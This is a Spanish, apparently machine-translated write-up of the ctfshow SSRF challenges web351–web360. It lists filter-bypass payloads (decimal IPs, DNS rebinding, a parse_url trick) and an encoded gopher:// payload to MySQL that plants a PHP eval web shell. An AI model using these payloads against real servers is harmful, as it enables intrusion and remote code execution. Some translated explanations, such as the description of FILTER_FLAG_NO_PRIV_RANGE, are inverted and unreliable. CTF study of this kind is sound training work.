ctfshow SSRF web351-web360 wp

Conozca a la SSRF

Hablando de la vulnerabilidad SSRF

Detalles de la SSRF

Se falsifica la solicitud del servidor SSRF (Server-Side Request Forgery) SSRF es una vulnerabilidad de seguridad construida por un atacante para formar una solicitud iniciada por el servidor. Por lo general, los ataques SSRF se dirigen a sistemas internos que son inaccesibles desde el mundo exterior.

web351

Puede visitar la página flag.php y, después de visitarla, solicita a los usuarios no locales que prohíban el acceso, así que use ssrf para el acceso local.

url=http://localhost/flag.php

web352

Sigue siendo flag.php, pero se filtran 127.0.0.1 y localhost. convertir ip a numero

Dirección IP en línea a número Int, número Int a dirección IP

url=http://2130706433/flag.php

web353

/localhost|127\.0\.|\。/i

No afecta a la carga anterior

url=http://2130706433/flag.php

web354

/localhost|1|0|。/

Los 1 y los 0 se filtran específicamente.

Encuentre un registro A que sea 127.0.0.1 (http://sudo.cc/), y luego cambie el nombre de dominio del sitio web a la URL en la carga útil

url=http://sudo.cc/flag.php

web355

Esto requiere strlen ($ host) <= 5

Cuando se puede volver a escribir Baidu 127.0.0.1, encontré la diferencia entre esta IP local, 127.0.0.1 y 0.0.0.0

Dado que la dirección de todos ceros representa cualquier host, quiero probar si 0 puede representar 0.0.0.0

Luego intente visitar http://0/ localmente, saltó a https://0.0.0.0/ para mí

De esta manera, debería ser posible, así que intente construir la carga útil, el éxito

url=http://0/flag.php

web356

Esta vez (strlen($host)<=3), luego use la carga útil anterior

url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
    
    
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    
    
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    
    
    die('scheme');
}

En el juicio si:

  • FILTER_FLAG_IPV4: requiere que el valor sea una IP IPv4 válida
  • FILTER_FLAG_IPV6: requiere que el valor sea una IP IPv6 válida
  • FILTER_FLAG_NO_PRIV_RANGE: requiere que el valor sea la IP privada especificada por el RFC (por ejemplo, 192.168.0.1)
  • FILTER_FLAG_NO_RES_RANGE: requiere un valor que no esté en el rango de IP reservado. Esta bandera acepta valores IPV4 e IPV6.

Vulnerabilidad de reenlace de DNS: hablando de la vulnerabilidad de reenlace de DNS

Vaya a http://ceye.io/ para registrar una cuenta. Después de iniciar sesión, verá que se ha asignado un nombre de dominio

inserte la descripción de la imagen aquí

Agregue un DNS Rebinding como cualquier ip, y agregue otro como 127.0.0.1, de lo contrario, la carga útil mostrará 127.0.0.1 ip directamente.

inserte la descripción de la imagen aquí

Luego POST: (recuerde agregar una r. delante del nombre de dominio asignado)

url=http://r.xxxxxx.ceye.io/flag.php

Luego POST unas cuantas veces más .

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    
    
    echo file_get_contents($url);
}

inserte la descripción de la imagen aquí

La prueba aquí es el problema de análisis de parse_url, consulte el artículo: resumen de parse_url

http://ctf.@0/flag.php?show

web359,web360

打无密码的mysql

Aquí usamos la herramienta gopherus ( https://github.com/tarunkant/Gopherus ) , que se usó en la auditoría de código anterior.

escribir una frase en

inserte la descripción de la imagen aquí

Luego encuentra el punto de transferencia.

inserte la descripción de la imagen aquí

Hay un punto aquí en el que necesito codificar en URL la parte posterior de gopher://127.0.0.1:3306/_, así que simplemente lo reemplacé con el Bloc de notas (reemplace % con %25)

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2547%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%2520%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

luego presiona regresar

Web360 accede a redis y cambia el mysql detrás de la herramienta a la capa redis.

inserte la descripción de la imagen aquí

Recuerde codificarlo en URL nuevamente.

Supongo que te gusta

Origin blog.csdn.net/qq_42880719/article/details/122854543
Recomendado
Clasificación